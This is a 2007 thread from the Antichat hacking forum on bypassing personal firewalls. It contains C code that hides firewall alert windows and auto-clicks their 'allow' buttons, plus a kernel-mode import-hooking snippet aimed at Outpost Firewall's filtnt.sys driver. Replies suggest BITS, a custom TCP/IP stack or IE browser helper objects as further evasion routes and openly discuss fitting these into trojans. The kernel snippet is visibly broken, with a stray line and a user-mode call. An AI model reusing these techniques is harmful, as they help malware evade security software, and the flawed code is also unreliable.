Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Методы обхода фаерволов (https://forum.antichat.xyz/showthread.php?t=43390)

slider 30.06.2007 21:36

эмм.. на днях кой чего накидал... мб кому пригодится...
уровень кодинга у меня неважный.. но вообщем зацените...


Код:

#include <windows.h>
#include <conio.h>

DWORD WINAPI ThreadFunc(LPVOID lpParam)
{
while(10)
{
HWND opf;
HWND wbm;

wbm=FindWindow("#32770",0);
ShowWindow(wbm,SW_HIDE);
SendMessage(wbm,WM_COMMAND,BN_CLICKED|104,0);

opf=FindWindow("#32770",0);
ShowWindow(opf,SW_HIDE);
CheckDlgButton(opf,1007,0);
CheckDlgButton(opf,1006,1);
SendMessage(opf,WM_COMMAND,BN_CLICKED|1055,0);
opf=FindWindowEx(opf,0,0,"OK");
SendMessage(opf,BM_CLICK,0,0);

}
return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
{
DWORD dwThreadId, dwThrdParam = 1;
HANDLE hThread;
hThread = CreateThread(NULL,0,ThreadFunc,&dwThrdParam,0,&dwThreadId);
if (hThread != NULL)
{
_getch();
CloseHandle( hThread );
}

sleep(10);
return 1;
}


Ky3bMu4 30.06.2007 21:55

Обход Outpost Firewall 3.x и 4.0 в Kernel mode (C) wasm.ru

Код:


static
void HookImport(
IN PVOID Image,
IN PVOID Handler,
IN PVOID NewHandler
)
{
PIMAGE_DOS_HEADER dHeader = Image;
PIMAGE_NT_HEADERS ntHeaders = RVATOVA(Image, dHeader->e_lfanew);
ULONG ImpRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

if (ImpRVA)
{
PIMAGE_IMPORT_DESCRIPTOR ImpDesc = RVATOVA(Image, ImpRVA);

while (ImpDesc->Name)
{
PIMAGE_THUNK_DATA Import;

Import = RVATOVA(Image, ImpDesc->FirstThunk);

while (Import->AddressOfData)
{
PIMAGE_IMPORT_BY_NAME ImpName = RVATOVA(Image, Import->AddressOfData);

if (Import->Function == (ULONG)Handler)
{
Import->Function = (ULONG)NewHandler;
}

Import++;
}

ImpDesc++;
}
}
}

static
PEPROCESS
NewIoGetCurrentProcess()
{
PEPROCESS Process = IoGetCurrentProcess();

if (Process == UserProcess) Process = PsInitialSystemProcess;

return Process;
}



void InitFwb(void)
{
PVOID Image = GetModuleHandle("filtnt.sys");
]extern P
if (Image)
{
HookImport(Image, IoGetCurrentProcess, NewIoGetCurrentProcess);
}
}


razzzar 30.06.2007 23:35

2Кузьмич, этот код ставит свои хуки на уровне ядра?

inSa(Ne)rd 01.07.2007 00:08

razzzar, а что, можно так сделать в user-mode, да?

что за ебанутый код
Цитата:

PVOID Image = GetModuleHandle("filtnt.sys");
GetModuleHandleA никогда не будет работать в kernel mode

_Great_ 01.07.2007 00:10

Ky3bMu4 лол=) Кернел моде :)) А че там делает GetModuleHandle? )

slider, боян)

slider 01.07.2007 00:15

_Great_
Есль чесн я боялся что ты на сам код ругаться будешь....
p.s но так... работает же! ))

Ni0x 03.07.2007 01:28

забыли упомянуть самый простой вариант - реализация своего Tcp/ip стека ;)
также можете юзать Bits, примеров хватает

razzzar 03.07.2007 01:32

у меня тут вопрос один созрел:
чтобы соединится с сервером обычным connect(); обходя фаервол надо сделать такое:
1. найти адресс ядерных функций, которые перехватывает фаервол
2. найти адресса оригиналов
3. снять хуки
?

или можно сделать вариант с SDT? или СДТ работает толья для инжекта?

Namelles One 03.07.2007 09:30

Дурдом какой-то.
В теории ведь все фаеры юзают хуки на функции и, посему, снятием их - перестают палить? Или я неправ?

З.Ы. А вообще, ИМХО, на данный момент - Bits это самое перспективное. Тестили мы его - никто вааще пока походу не ловит.

KEZ 03.07.2007 10:08

Цитата:

у меня тут вопрос один созрел:
чтобы соединится с сервером обычным connect(); обходя фаервол надо сделать такое:
1. найти адресс ядерных функций, которые перехватывает фаервол
2. найти адресса оригиналов
3. снять хуки
?

или можно сделать вариант с SDT? или СДТ работает толья для инжекта?
советую учить делфи. пока ситуация ещё под контролем

Цитата:

В теории ведь все фаеры юзают хуки на функции и, посему, снятием их - перестают палить? Или я неправ?
аналогично

Фаерволы могут использовать огромное количество колец защиты, в том числе NDIS-перехват, хуки на устройства tcp,udp, перехват в usermode всевозможных dns-резольвов, и ещё кучи всего, подгружая dll к вашему процессу, ещё хуки на ядерные ф-ии, на запуск специфичного кода (например, на ZwOpenSection и ZwLoadDriver), что не даст вам даже поставить драйвер или выполнить код в kernel mode через колгейт, ещё они могут детектить всевозможные записи в реестр, даже использовать ipfw, и ещё кучу кучу всего, причем часто - взаимозапутаные)
если вы думаете что разработчики фаерволов полные лохи, которые не знают как их фаервол потом можно будет обойти - вы очень, очень очень глубоко ошибаетесь

так что товарищи, интерисующиеся, если ли в ядре ф-ия connect() и можно ли "снять хук в ядре с функции connect()" и тому подобными вопросами - просто знайте что всё намно-ооооо-го сложнее.

мне как-то посденее время все заморочки с драйверами не особо нравятся. есть способы нормальные. все они основаны в основном на COM который я очень нелюблю.
можно просто заставить IE слать что надо через использование BHO. (для Great : именно H вторая буква а не D!)) Если IE запрещен - тогда хули, неповезло.

Цитата:

_Great_
Есль чесн я боялся что ты на сам код ругаться будешь....
p.s но так... работает же! ))
что у тебя там работает) может на твоем настроеном аутпосте какой-то там версии это и работает. но если надо это запихнуть в троян - ещё придется просить юзера поставить аутпост определенного языка, настроить режим "обучающий", и вообще попросить сделать так чтоб вылазало именно то окошко, в котором кнопочки нажимаем


Время: 20:48